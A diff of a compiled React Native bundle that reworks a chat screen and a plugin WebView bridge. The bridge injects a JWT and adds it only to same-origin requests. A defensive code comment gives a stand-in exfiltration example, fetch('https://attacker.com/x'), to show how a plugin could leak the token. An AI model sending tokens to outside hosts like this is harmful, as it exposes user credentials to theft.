- borderColor: import_core5.colors.light.border,
931
- paddingHorizontal: 4,
932
- paddingVertical: 4,
933
- gap: 4
934
- },
935
- callBtn: {
936
- width: 36,
937
- height: 36,
938
- borderRadius: 18,
939
- justifyContent: "center",
940
- alignItems: "center"
941
- },
942
- input: {
943
- flex: 1,
944
- fontSize: 16,
945
- color: import_core5.colors.light.textPrimary,
946
- paddingHorizontal: 8,
947
- paddingVertical: 8,
948
- maxHeight: 120
949
- },
950
- sendBtn: {
951
- width: 36,
952
- height: 36,
953
- borderRadius: 18,
954
- justifyContent: "center",
955
- alignItems: "center",
956
- backgroundColor: import_core5.colors.light.bgTertiary
957
- },
958
- sendBtnActive: {
959
- backgroundColor: import_core5.colors.light.accent
960
- }
961
- });
962
-
963
- // src/Lightbox.tsx
964
- var import_react_native7 = require("react-native");
965
- var import_core6 = require("@ateam-ai-mobile/core");
966
- var import_jsx_runtime7 = require("react/jsx-runtime");
967
- function Lightbox() {
968
- const uri = useLightboxStore((s) => s.uri);
969
- const hide = useLightboxStore((s) => s.hide);
970
- if (!uri) return null;
971
- return /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native7.Modal, { visible: true, transparent: true, animationType: "fade", onRequestClose: hide, children: /* @__PURE__ */ (0, import_jsx_runtime7.jsxs)(import_react_native7.Pressable, { style: styles7.backdrop, onPress: hide, children: [
972
- /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(
973
- import_react_native7.Image,
974
- {
975
- source: {
976
- uri,
977
- ...uri.startsWith("http") ? {
978
- headers: { Authorization: `Bearer ${(0, import_core6.getConfig)().tokenProvider.getToken()}` }
979
- } : {}
980
- },
981
- style: styles7.image,
982
- resizeMode: "contain"
983
- }
984
- ),
985
- /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native7.View, { style: styles7.closeHint, children: /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native7.Text, { style: styles7.closeHintText, children: "Tap to close" }) })
986
- ] }) });
987
- }
988
- var styles7 = import_react_native7.StyleSheet.create({
989
- backdrop: {
990
- flex: 1,
991
- backgroundColor: "rgba(0,0,0,0.92)",
992
- justifyContent: "center"
993
- },
994
- image: {
995
- width: "100%",
996
- height: "85%"
997
- },
998
- closeHint: {
999
- position: "absolute",
1000
- bottom: 40,
1001
- alignSelf: "center"
1002
- },
1003
- closeHintText: {
1004
- color: "rgba(255,255,255,0.6)",
1005
- fontSize: 13
1006
- }
1007
- });
1008
-
1009
- // src/AdasChatScreen.tsx
1010
- var import_jsx_runtime8 = require("react/jsx-runtime");
1011
- function isSameDay2(a, b) {
1012
- return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
1013
- }
1014
- function AdasChatScreen({
1015
- onCallStart,
1016
- placeholder,
1017
- footerAccessory,
1018
- withLightbox = true
1019
- }) {
1020
- const messages = (0, import_core7.useChatStore)((s) => s.messages);
1021
- const loading = (0, import_core7.useChatStore)((s) => s.loading);
1022
- const conversationLoaded = (0, import_core7.useChatStore)((s) => s.conversationLoaded);
1023
- const loadConversation = (0, import_core7.useChatStore)((s) => s.loadConversation);
1024
- const sendMessage = (0, import_core7.useChatStore)((s) => s.sendMessage);
1025
- const listRef = (0, import_react4.useRef)(null);
1026
- const [refreshing, setRefreshing] = (0, import_react4.useState)(false);
1027
- const [prefill, setPrefill] = (0, import_react4.useState)("");
1028
- (0, import_react4.useEffect)(() => {
1029
- if (!conversationLoaded) loadConversation();
1030
- }, [conversationLoaded, loadConversation]);
1031
- (0, import_react4.useEffect)(() => {
1032
- const unsub = import_core7.pluginCommandEmitter.on("prepare-chat-message", ({ text }) => {
1033
- if (text) setPrefill(text);
1034
- });
1035
- return unsub;
1036
- }, []);
1037
- const useInverted = import_react_native8.Platform.OS !== "web";
1038
- const listData = (0, import_react4.useMemo)(
1039
- () => useInverted ? [...messages].reverse() : messages,
1040
- [messages, useInverted]
1041
- );
1042
- const scrollToLatest = (0, import_react4.useCallback)((animated) => {
1043
- if (useInverted) listRef.current?.scrollToOffset({ offset: 0, animated });
1044
- else listRef.current?.scrollToEnd({ animated });
1045
- }, [useInverted]);
1046
- const handleSend = (0, import_react4.useCallback)((text) => {
1047
- setPrefill("");
1048
- sendMessage(text);
1049
- scrollToLatest(true);
1050
- }, [sendMessage, scrollToLatest]);
1051
- const handleRefresh = (0, import_react4.useCallback)(async () => {
1052
- setRefreshing(true);
1053
- try {
1054
- await loadConversation();
1055
- } catch {
1056
- }
1057
- setRefreshing(false);
1058
- }, [loadConversation]);
1059
- const renderItem = (0, import_react4.useCallback)(({ item, index }) => {
1060
- const older = useInverted ? listData[index + 1] : listData[index - 1];
1061
- const showDaySep = !older || !isSameDay2(older.timestamp, item.timestamp);
1062
- return /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(import_react_native8.View, { children: [
1063
- showDaySep && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(DaySeparator, { date: item.timestamp }),
1064
- /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(MessageBubble, { message: item })
1065
- ] });
1066
- }, [listData, useInverted]);
1067
- const typingIndicator = loading && !(useInverted ? listData[0] : listData[listData.length - 1])?.jobProgress ? /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(TypingIndicator, {}) : null;
1068
- return /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(
1069
- import_react_native8.KeyboardAvoidingView,
1070
- {
1071
- style: styles8.root,
1072
- behavior: import_react_native8.Platform.OS === "ios" ? "padding" : void 0,
1073
- children: [
1074
- /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
1075
- import_react_native8.FlatList,
1076
- {
1077
- ref: listRef,
1078
- style: styles8.list,
1079
- data: listData,
1080
- inverted: useInverted,
1081
- keyExtractor: (m) => m.id,
1082
- renderItem,
1083
- ListHeaderComponent: useInverted ? typingIndicator : null,
1084
- ListFooterComponent: useInverted ? null : typingIndicator,
1085
- onContentSizeChange: useInverted ? void 0 : () => scrollToLatest(false),
1086
- refreshControl: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native8.RefreshControl, { refreshing, onRefresh: handleRefresh, tintColor: import_core7.ada.orange }),
1087
- keyboardShouldPersistTaps: "handled",
1088
- contentContainerStyle: styles8.listContent
1089
- }
1090
- ),
1091
- footerAccessory,
1092
- /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
1093
- ChatInput,
1094
- {
1095
- onSend: handleSend,
1096
- onCallStart,
1097
- loading,
1098
- prefill,
1099
- placeholder
1100
- }
1101
- ),
1102
- withLightbox && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(Lightbox, {})
1103
- ]
1104
- }
1105
- );
1106
- }
1107
- var styles8 = import_react_native8.StyleSheet.create({
1108
- root: {
1109
- flex: 1,
1110
- backgroundColor: import_core7.ada.paper
1111
- },
1112
- list: {
1113
- flex: 1
1114
- },
1115
- listContent: {
1116
- paddingVertical: 12
1117
- }
1118
- });
1119
-
1120
- // src/plugin/Plugin.tsx
1121
- var import_react7 = __toESM(require("react"));
1122
- var import_react_native10 = require("react-native");
1123
- var import_core10 = require("@ateam-ai-mobile/core");
1124
- var import_plugin_runtime6 = require("@ateam-ai-mobile/plugin-runtime");
1125
-
1126
- // src/plugin/EmbeddedPluginWebView.tsx
1127
- var import_react6 = require("react");
1128
- var import_react_native9 = require("react-native");
1129
- var import_react_native_webview = require("react-native-webview");
1130
- var import_core9 = require("@ateam-ai-mobile/core");
1131
- var import_plugin_runtime5 = require("@ateam-ai-mobile/plugin-runtime");
1132
-
1133
- // src/plugin/usePluginBridge.ts
1134
- var import_react5 = require("react");
1135
- var import_core8 = require("@ateam-ai-mobile/core");
1136
- function usePluginBridge(pluginId, connectorId, commandBufferRef, wsRef) {
1137
- const webViewRef = (0, import_react5.useRef)(null);
1138
- const sendInit = (0, import_react5.useCallback)(() => {
1139
- const msg = JSON.stringify({
1140
- source: "adas-host",
1141
- pluginId,
1142
- message: {
1143
- type: "init",
1144
- payload: {
1145
- tenant: (0, import_core8.getTenant)(),
1146
- connectorId: connectorId || null,
1147
- mcpEndpoint: null,
1148
- slug: null,
1149
- skillSlug: null
1150
- }
271
+ // src/plugin/PluginSurface.tsx
272
+ var import_react5 = require("react");
273
+ var import_react_native4 = require("react-native");
274
+ var import_core5 = require("@ateam-ai-mobile/core");
275
+ var import_plugin_runtime3 = require("@ateam-ai-mobile/plugin-runtime");
276
+
277
+ // src/plugin/Plugin.tsx
278
+ var import_react4 = __toESM(require("react"));
279
+ var import_react_native3 = require("react-native");
280
+ var import_core4 = require("@ateam-ai-mobile/core");
281
+ var import_plugin_runtime2 = require("@ateam-ai-mobile/plugin-runtime");
282
+
283
+ // src/plugin/EmbeddedPluginWebView.tsx
284
+ var import_react3 = require("react");
285
+ var import_react_native2 = require("react-native");
286
+ var import_react_native_webview = require("react-native-webview");
287
+ var import_core3 = require("@ateam-ai-mobile/core");
288
+ var import_plugin_runtime = require("@ateam-ai-mobile/plugin-runtime");
289
+
290
+ // src/plugin/usePluginBridge.ts
291
+ var import_react2 = require("react");
292
+ var import_core2 = require("@ateam-ai-mobile/core");
293
+ function usePluginBridge(pluginId, connectorId, commandBufferRef, wsRef) {
294
+ const webViewRef = (0, import_react2.useRef)(null);
295
+ const sendInit = (0, import_react2.useCallback)(() => {
296
+ const msg = JSON.stringify({
297
+ source: "adas-host",
298
+ pluginId,
299
+ message: {
300
+ type: "init",
301
+ payload: {
302
+ tenant: (0, import_core2.getTenant)(),
303
+ connectorId: connectorId || null,
304
+ mcpEndpoint: null,
305
+ slug: null,
306
+ skillSlug: null
307
+ }
1151
308
  }
1152
309
  });
1153
310
  webViewRef.current?.postMessage(msg);
1154
311
  }, [pluginId, connectorId]);
1155
- const sendToPlugin = (0, import_react5.useCallback)(
312
+ const sendToPlugin = (0, import_react2.useCallback)(
1156
313
  (type, payload) => {
1157
314
  const msg = JSON.stringify({
1158
315
  source: "adas-host",
@@ -1162,7 +319,7 @@ function usePluginBridge(pluginId, connectorId, commandBufferRef, wsRef) {
1162
319
  },
1163
320
  []
1164
321
  );
1165
- const dispatchToWebView = (0, import_react5.useCallback)((cmd) => {
322
+ const dispatchToWebView = (0, import_react2.useCallback)((cmd) => {
1166
323
  if (cmd.command === "__focus") return;
1167
324
  const msg = JSON.stringify({
1168
325
  source: "adas-host",
@@ -1178,14 +335,14 @@ function usePluginBridge(pluginId, connectorId, commandBufferRef, wsRef) {
1178
335
  });
1179
336
  webViewRef.current?.postMessage(msg);
1180
337
  }, [pluginId]);
1181
- (0, import_react5.useEffect)(() => {
1182
- const unsub = import_core8.pluginCommandEmitter.on("plugin-command", (cmd) => {
338
+ (0, import_react2.useEffect)(() => {
339
+ const unsub = import_core2.pluginCommandEmitter.on("plugin-command", (cmd) => {
1183
340
  if (cmd.pluginId !== pluginId) return;
1184
341
  dispatchToWebView(cmd);
1185
342
  });
1186
343
  return unsub;
1187
344
  }, [pluginId, dispatchToWebView]);
1188
- (0, import_react5.useEffect)(() => {
345
+ (0, import_react2.useEffect)(() => {
1189
346
  if (!commandBufferRef) return;
1190
347
  const timer = setTimeout(() => {
1191
348
  const buf = commandBufferRef.current;
@@ -1201,7 +358,7 @@ function usePluginBridge(pluginId, connectorId, commandBufferRef, wsRef) {
1201
358
  }, 1e3);
1202
359
  return () => clearTimeout(timer);
1203
360
  }, [pluginId, commandBufferRef, dispatchToWebView]);
1204
- const handleMessage = (0, import_react5.useCallback)(
361
+ const handleMessage = (0, import_react2.useCallback)(
1205
362
  async (event) => {
1206
363
  let data;
1207
364
  try {
@@ -1216,7 +373,7 @@ function usePluginBridge(pluginId, connectorId, commandBufferRef, wsRef) {
1216
373
  if (action === "mcp-fetch" && payload?.requestId) {
1217
374
  const { requestId, body } = payload;
1218
375
  try {
1219
- const result = await (0, import_core8.mcpFetch)(body);
376
+ const result = await (0, import_core2.mcpFetch)(body);
1220
377
  sendToPlugin("mcp-fetch-result", { requestId, result, error: null });
1221
378
  } catch (err) {
1222
379
  console.warn("[PluginBridge] mcp-fetch ERROR:", err.message);
@@ -1228,7 +385,7 @@ function usePluginBridge(pluginId, connectorId, commandBufferRef, wsRef) {
1228
385
  const { requestId, toolName, args: callArgs } = payload;
1229
386
  if (toolName) {
1230
387
  try {
1231
- const rpcResponse = await (0, import_core8.mcpToolCall)(toolName, callArgs || {});
388
+ const rpcResponse = await (0, import_core2.mcpToolCall)(toolName, callArgs || {});
1232
389
  const result = rpcResponse?.result ?? rpcResponse;
1233
390
  sendToPlugin("mcp-result", { requestId, result, error: null });
1234
391
  } catch (err) {
@@ -1245,7 +402,7 @@ function usePluginBridge(pluginId, connectorId, commandBufferRef, wsRef) {
1245
402
  return;
1246
403
  }
1247
404
  try {
1248
- const data2 = await (0, import_core8.connectorCall)(cId, tool, toolArgs);
405
+ const data2 = await (0, import_core2.connectorCall)(cId, tool, toolArgs);
1249
406
  if (data2.ok) {
1250
407
  sendToPlugin("mcp-result", { requestId, result: data2.result, error: null });
1251
408
  } else {
@@ -1257,7 +414,7 @@ function usePluginBridge(pluginId, connectorId, commandBufferRef, wsRef) {
1257
414
  return;
1258
415
  }
1259
416
  if (action === "close") {
1260
- import_core8.pluginCommandEmitter.emit("plugin-close", { pluginId });
417
+ import_core2.pluginCommandEmitter.emit("plugin-close", { pluginId });
1261
418
  return;
1262
419
  }
1263
420
  if (type === "plugin.command.result" && payload?.correlationId) {
@@ -1272,490 +429,1398 @@ function usePluginBridge(pluginId, connectorId, commandBufferRef, wsRef) {
1272
429
  }));
1273
430
  } catch (err) {
1274
431
  console.warn("[PluginBridge] WS send failed, falling back to POST:", err.message);
1275
- await (0, import_core8.postCommandResult)(payload.correlationId, payload.result, payload.error).catch(() => {
432
+ await (0, import_core2.postCommandResult)(payload.correlationId, payload.result, payload.error).catch(() => {
1276
433
  });
1277
434
  }
1278
435
  } else {
1279
436
  try {
1280
- await (0, import_core8.postCommandResult)(payload.correlationId, payload.result, payload.error);
437
+ await (0, import_core2.postCommandResult)(payload.correlationId, payload.result, payload.error);
1281
438
  } catch (err) {
1282
439
  console.warn("[PluginBridge] Failed to send command result:", err.message);
1283
440
  }
1284
441
  }
1285
- return;
1286
- }
1287
- },
1288
- [sendToPlugin]
1289
- );
1290
- return {
1291
- webViewRef,
1292
- sendInit,
1293
- handleMessage
1294
- };
442
+ return;
443
+ }
444
+ },
445
+ [sendToPlugin]
446
+ );
447
+ return {
448
+ webViewRef,
449
+ sendInit,
450
+ handleMessage
451
+ };
452
+ }
453
+ function buildPluginBridgeJS(jwt, tenant) {
454
+ return `
455
+ (function() {
456
+ function _dbg(msg) {
457
+ console.log('[PluginBridge] ' + msg);
458
+ }
459
+
460
+ // 1. Seed localStorage. JWT is required by web-shared plugin code
461
+ // (cpFeApi.ts etc. read localStorage.adas.jwt directly). Origin lockdown
462
+ // lives in EmbeddedPluginWebView (originWhitelist +
463
+ // onShouldStartLoadWithRequest) \u2014 not here. Never log the token.
464
+ try {
465
+ localStorage.setItem('adas.jwt', ${JSON.stringify(jwt)});
466
+ localStorage.setItem('adas.tenant', ${JSON.stringify(tenant)});
467
+ _dbg('localStorage seeded: jwt=' + (${JSON.stringify(jwt)} ? '[present]' : '[absent]') + ' tenant=' + ${JSON.stringify(tenant)});
468
+ } catch(e) { _dbg('localStorage ERROR: ' + e.message); }
469
+
470
+ // 2. Intercept ALL fetch calls \u2014 proxy /mcp through the RN bridge
471
+ var _origFetch = window.fetch.bind(window);
472
+ var _mcpReqId = 0;
473
+ var _pendingMcp = {};
474
+
475
+ window.fetch = function(url, opts) {
476
+ var urlStr = (typeof url === 'string') ? url : (url && url.url) || '';
477
+ var method = (opts && opts.method) || 'GET';
478
+
479
+ _dbg('FETCH ' + method + ' ' + urlStr.substring(0, 80));
480
+
481
+ // Intercept /mcp calls
482
+ if (urlStr === '/mcp' || urlStr.endsWith('/mcp')) {
483
+ _dbg(' -> INTERCEPTED /mcp, proxying via RN bridge');
484
+ return new Promise(function(resolve, reject) {
485
+ var requestId = 'mcp-f-' + (++_mcpReqId) + '-' + Date.now();
486
+ _pendingMcp[requestId] = { resolve: resolve, reject: reject };
487
+ window.ReactNativeWebView.postMessage(JSON.stringify({
488
+ source: 'adas-plugin',
489
+ action: 'mcp-fetch',
490
+ payload: { requestId: requestId, body: opts && opts.body ? opts.body : null }
491
+ }));
492
+ setTimeout(function() {
493
+ if (_pendingMcp[requestId]) {
494
+ delete _pendingMcp[requestId];
495
+ _dbg('TIMEOUT mcp-fetch ' + requestId);
496
+ reject(new Error('MCP fetch timeout (30s)'));
497
+ }
498
+ }, 30000);
499
+ });
500
+ }
501
+
502
+ // Inject Authorization header ONLY for same-origin requests. A relative
503
+ // path resolves against window.location.origin; an absolute URL must
504
+ // literally match. This stops a plugin from leaking the JWT to a foreign
505
+ // host via fetch('https://attacker.com/x') or via <base href>.
506
+ var sameOrigin = false;
507
+ try {
508
+ var resolved = new URL(urlStr, window.location.origin);
509
+ sameOrigin = (resolved.origin === window.location.origin);
510
+ } catch (_) { sameOrigin = false; }
511
+ if (sameOrigin) {
512
+ opts = Object.assign({}, opts || {});
513
+ var h = opts.headers;
514
+ if (h instanceof Headers) {
515
+ if (!h.has('Authorization')) { var jwt = localStorage.getItem('adas.jwt'); if (jwt) h.set('Authorization', 'Bearer ' + jwt); }
516
+ } else {
517
+ h = Object.assign({}, h || {});
518
+ if (!h['Authorization'] && !h['authorization']) { var jwt2 = localStorage.getItem('adas.jwt'); if (jwt2) h['Authorization'] = 'Bearer ' + jwt2; }
519
+ opts.headers = h;
520
+ }
521
+ }
522
+
523
+ return _origFetch(url, opts).then(function(res) {
524
+ _dbg(' <- ' + res.status + ' ' + urlStr.substring(0, 60));
525
+ return res;
526
+ }).catch(function(err) {
527
+ _dbg(' <- FETCH ERR: ' + err.message + ' ' + urlStr.substring(0, 40));
528
+ throw err;
529
+ });
530
+ };
531
+
532
+ // Handle results from RN host
533
+ function _handleHostMessage(d) {
534
+ if (!d || d.source !== 'adas-host') return;
535
+ var msg = d.message || {};
536
+
537
+ // mcp-fetch-result: response to intercepted fetch("/mcp")
538
+ if (msg.type === 'mcp-fetch-result' && msg.payload) {
539
+ var p = msg.payload;
540
+ var pending = _pendingMcp[p.requestId];
541
+ if (pending) {
542
+ delete _pendingMcp[p.requestId];
543
+ if (p.error) {
544
+ pending.reject(new Error(p.error));
545
+ } else {
546
+ pending.resolve(new Response(JSON.stringify(p.result), {
547
+ status: 200,
548
+ headers: { 'Content-Type': 'application/json' }
549
+ }));
550
+ }
551
+ }
552
+ }
553
+ }
554
+
555
+ // 3. Override window.parent.postMessage (plugins use this in iframes)
556
+ window.parent = window.parent || {};
557
+ window.parent.postMessage = function(data, origin) {
558
+ if (data && data.source === 'adas-plugin') {
559
+ window.ReactNativeWebView.postMessage(JSON.stringify(data));
560
+ }
561
+ };
562
+
563
+ // 4. Also intercept direct window.postMessage
564
+ var origPost = window.postMessage.bind(window);
565
+ window.postMessage = function(data, origin) {
566
+ if (data && data.source === 'adas-plugin') {
567
+ window.ReactNativeWebView.postMessage(JSON.stringify(data));
568
+ }
569
+ origPost(data, origin);
570
+ };
571
+
572
+ // 5. Forward messages from RN host -> plugin
573
+ // iOS: window 'message' event, Android: document 'message' event
574
+ window.addEventListener('message', function(e) {
575
+ try {
576
+ var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
577
+ if (d && d.source === 'adas-host') {
578
+ _handleHostMessage(d);
579
+ if (typeof e.data === 'string') {
580
+ window.dispatchEvent(new MessageEvent('message', { data: d }));
581
+ }
582
+ }
583
+ } catch(_) {}
584
+ });
585
+
586
+ document.addEventListener('message', function(e) {
587
+ try {
588
+ var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
589
+ _handleHostMessage(d);
590
+ window.dispatchEvent(new MessageEvent('message', { data: d }));
591
+ } catch(_) {}
592
+ });
593
+
594
+ _dbg('Bridge JS loaded. Waiting for plugin...');
595
+ true;
596
+ })();
597
+ `;
598
+ }
599
+
600
+ // src/plugin/EmbeddedPluginWebView.tsx
601
+ var import_jsx_runtime2 = require("react/jsx-runtime");
602
+ function EmbeddedPluginWebView({ pluginId, manifest, commandBufferRef }) {
603
+ const [error, setError] = (0, import_react3.useState)(null);
604
+ const token = (0, import_core3.getToken)();
605
+ const tenant = (0, import_core3.getTenant)();
606
+ const { webViewRef, sendInit, handleMessage } = usePluginBridge(pluginId, manifest._connectorId, commandBufferRef);
607
+ const url = (0, import_plugin_runtime.resolvePluginUrl)(manifest, tenant || void 0);
608
+ const bridgeJS = buildPluginBridgeJS(token || "", tenant || "");
609
+ const computeAllowedHosts = (0, import_react3.useCallback)(() => {
610
+ const hosts = /* @__PURE__ */ new Set();
611
+ const urls = [(0, import_core3.getCoreApiUrl)()];
612
+ if ((0, import_core3.getConfig)().voiceUrl) urls.push((0, import_core3.getVoiceApiUrl)());
613
+ try {
614
+ urls.push(...getPluginWebViewExtraHosts()?.() || []);
615
+ } catch {
616
+ }
617
+ for (const u of urls) {
618
+ try {
619
+ hosts.add(new URL(u).hostname);
620
+ } catch {
621
+ }
622
+ }
623
+ return hosts;
624
+ }, []);
625
+ const isAllowedPluginUrl = (0, import_react3.useCallback)((rawUrl) => {
626
+ if (!rawUrl) return false;
627
+ let parsed;
628
+ try {
629
+ parsed = new URL(rawUrl);
630
+ } catch {
631
+ return false;
632
+ }
633
+ if (parsed.protocol !== "https:" && parsed.protocol !== "http:") return false;
634
+ if (parsed.protocol === "http:") return false;
635
+ return computeAllowedHosts().has(parsed.hostname);
636
+ }, [computeAllowedHosts]);
637
+ const originWhitelist = (0, import_react3.useMemo)(
638
+ () => Array.from(computeAllowedHosts()).map((h) => `https://${h}`),
639
+ [computeAllowedHosts]
640
+ );
641
+ if (error) {
642
+ return /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.View, { style: styles2.center, children: /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.Text, { style: styles2.errorText, children: error }) });
643
+ }
644
+ return /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.View, { style: styles2.container, children: /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(
645
+ import_react_native_webview.WebView,
646
+ {
647
+ ref: webViewRef,
648
+ source: { uri: url },
649
+ style: styles2.webview,
650
+ javaScriptEnabled: true,
651
+ domStorageEnabled: true,
652
+ allowsInlineMediaPlayback: true,
653
+ mediaPlaybackRequiresUserAction: false,
654
+ mixedContentMode: "never",
655
+ originWhitelist,
656
+ allowsBackForwardNavigationGestures: false,
657
+ setSupportMultipleWindows: false,
658
+ javaScriptCanOpenWindowsAutomatically: false,
659
+ onShouldStartLoadWithRequest: (req) => {
660
+ if (!isAllowedPluginUrl(req.url)) {
661
+ console.warn(`[EmbeddedPluginWebView] BLOCKED nav to disallowed origin: ${req.url}`);
662
+ return false;
663
+ }
664
+ return true;
665
+ },
666
+ injectedJavaScriptBeforeContentLoaded: bridgeJS,
667
+ onMessage: handleMessage,
668
+ onLoad: () => {
669
+ setTimeout(sendInit, 100);
670
+ setTimeout(sendInit, 500);
671
+ setTimeout(sendInit, 1200);
672
+ },
673
+ onError: (syntheticEvent) => {
674
+ const { nativeEvent } = syntheticEvent;
675
+ console.warn("[EmbeddedPluginWebView] Error:", nativeEvent.description);
676
+ setError(`WebView error: ${nativeEvent.description}`);
677
+ },
678
+ onHttpError: (syntheticEvent) => {
679
+ const { nativeEvent } = syntheticEvent;
680
+ console.warn("[EmbeddedPluginWebView] HTTP error:", nativeEvent.statusCode, nativeEvent.url);
681
+ if (nativeEvent.statusCode >= 400) {
682
+ setError(`HTTP ${nativeEvent.statusCode}: Failed to load plugin`);
683
+ }
684
+ },
685
+ startInLoadingState: true,
686
+ renderLoading: () => /* @__PURE__ */ (0, import_jsx_runtime2.jsxs)(import_react_native2.View, { style: styles2.webviewLoading, children: [
687
+ /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.ActivityIndicator, { size: "small", color: import_core3.ada.orange }),
688
+ /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.Text, { style: styles2.loadingText, children: "Loading plugin..." })
689
+ ] }),
690
+ ...import_react_native2.Platform.OS === "ios" ? { bounces: false } : {}
691
+ }
692
+ ) });
1295
693
  }
1296
- function buildPluginBridgeJS(jwt, tenant) {
1297
- return `
1298
- (function() {
1299
- function _dbg(msg) {
1300
- console.log('[PluginBridge] ' + msg);
694
+ var styles2 = import_react_native2.StyleSheet.create({
695
+ container: {
696
+ flex: 1,
697
+ backgroundColor: import_core3.ada.paper
698
+ },
699
+ center: {
700
+ flex: 1,
701
+ justifyContent: "center",
702
+ alignItems: "center",
703
+ backgroundColor: import_core3.ada.paper,
704
+ paddingHorizontal: 32
705
+ },
706
+ errorText: {
707
+ color: "#C15545",
708
+ fontSize: 16,
709
+ textAlign: "center"
710
+ },
711
+ webview: {
712
+ flex: 1,
713
+ backgroundColor: import_core3.ada.paper
714
+ },
715
+ webviewLoading: {
716
+ position: "absolute",
717
+ top: 0,
718
+ left: 0,
719
+ right: 0,
720
+ bottom: 0,
721
+ justifyContent: "center",
722
+ alignItems: "center",
723
+ backgroundColor: import_core3.ada.paper,
724
+ gap: 12
725
+ },
726
+ loadingText: {
727
+ color: import_core3.ada.inkSoft,
728
+ fontSize: 14
1301
729
  }
730
+ });
1302
731
 
1303
- // 1. Seed localStorage. JWT is required by web-shared plugin code
1304
- // (cpFeApi.ts etc. read localStorage.adas.jwt directly). Origin lockdown
1305
- // lives in EmbeddedPluginWebView (originWhitelist +
1306
- // onShouldStartLoadWithRequest) \u2014 not here. Never log the token.
1307
- try {
1308
- localStorage.setItem('adas.jwt', ${JSON.stringify(jwt)});
1309
- localStorage.setItem('adas.tenant', ${JSON.stringify(tenant)});
1310
- _dbg('localStorage seeded: jwt=' + (${JSON.stringify(jwt)} ? '[present]' : '[absent]') + ' tenant=' + ${JSON.stringify(tenant)});
1311
- } catch(e) { _dbg('localStorage ERROR: ' + e.message); }
1312
-
1313
- // 2. Intercept ALL fetch calls \u2014 proxy /mcp through the RN bridge
1314
- var _origFetch = window.fetch.bind(window);
1315
- var _mcpReqId = 0;
1316
- var _pendingMcp = {};
1317
-
1318
- window.fetch = function(url, opts) {
1319
- var urlStr = (typeof url === 'string') ? url : (url && url.url) || '';
1320
- var method = (opts && opts.method) || 'GET';
1321
-
1322
- _dbg('FETCH ' + method + ' ' + urlStr.substring(0, 80));
1323
-
1324
- // Intercept /mcp calls
1325
- if (urlStr === '/mcp' || urlStr.endsWith('/mcp')) {
1326
- _dbg(' -> INTERCEPTED /mcp, proxying via RN bridge');
1327
- return new Promise(function(resolve, reject) {
1328
- var requestId = 'mcp-f-' + (++_mcpReqId) + '-' + Date.now();
1329
- _pendingMcp[requestId] = { resolve: resolve, reject: reject };
1330
- window.ReactNativeWebView.postMessage(JSON.stringify({
1331
- source: 'adas-plugin',
1332
- action: 'mcp-fetch',
1333
- payload: { requestId: requestId, body: opts && opts.body ? opts.body : null }
1334
- }));
1335
- setTimeout(function() {
1336
- if (_pendingMcp[requestId]) {
1337
- delete _pendingMcp[requestId];
1338
- _dbg('TIMEOUT mcp-fetch ' + requestId);
1339
- reject(new Error('MCP fetch timeout (30s)'));
732
+ // src/plugin/Plugin.tsx
733
+ var import_jsx_runtime3 = require("react/jsx-runtime");
734
+ var PluginErrorBoundary = class extends import_react4.default.Component {
735
+ constructor() {
736
+ super(...arguments);
737
+ this.state = { hasError: false, error: null };
738
+ }
739
+ static getDerivedStateFromError(error) {
740
+ return { hasError: true, error };
741
+ }
742
+ componentDidCatch(error, info) {
743
+ console.error(`[Plugin:${this.props.pluginId}] Crash:`, error, info.componentStack);
744
+ }
745
+ render() {
746
+ if (this.state.hasError) {
747
+ return /* @__PURE__ */ (0, import_jsx_runtime3.jsxs)(import_react_native3.View, { style: styles3.error, children: [
748
+ /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.errorTitle, children: "Plugin Error" }),
749
+ /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.errorMessage, children: this.state.error?.message || "An unexpected error occurred" }),
750
+ /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(
751
+ import_react_native3.Pressable,
752
+ {
753
+ style: styles3.retryBtn,
754
+ onPress: () => this.setState({ hasError: false, error: null }),
755
+ children: /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.retryText, children: "Retry" })
1340
756
  }
1341
- }, 30000);
1342
- });
757
+ )
758
+ ] });
1343
759
  }
760
+ return this.props.children;
761
+ }
762
+ };
763
+ function Plugin({ id, manifest, commandBufferRef, props: engineProps }) {
764
+ const { plugin, loading, error, bundleMissing } = (0, import_plugin_runtime2.usePlugin)(id, manifest);
765
+ const connectorId = id.startsWith("mcp:") ? id.split(":")[1] : manifest._connectorId;
766
+ const bridge = (0, import_plugin_runtime2.useNativeBridge)(id, connectorId, commandBufferRef);
767
+ const declaredCaps = manifest?.native;
768
+ const native = (0, import_react4.useMemo)(() => (0, import_plugin_runtime2.gatePluginNative)((0, import_plugin_runtime2.getPluginNative)(), declaredCaps), [declaredCaps]);
769
+ const theme = (0, import_plugin_runtime2.usePluginTheme)();
770
+ const user = (0, import_core4.getUser)();
771
+ const context = (0, import_react4.useMemo)(() => ({
772
+ tenant: (0, import_core4.getTenant)(),
773
+ pluginId: id,
774
+ connectorId,
775
+ user: user ? { id: user.actorId || "", name: user.name || "", roles: user.roles || [] } : void 0
776
+ }), [id, connectorId, user?.actorId, user?.name, user?.roles]);
777
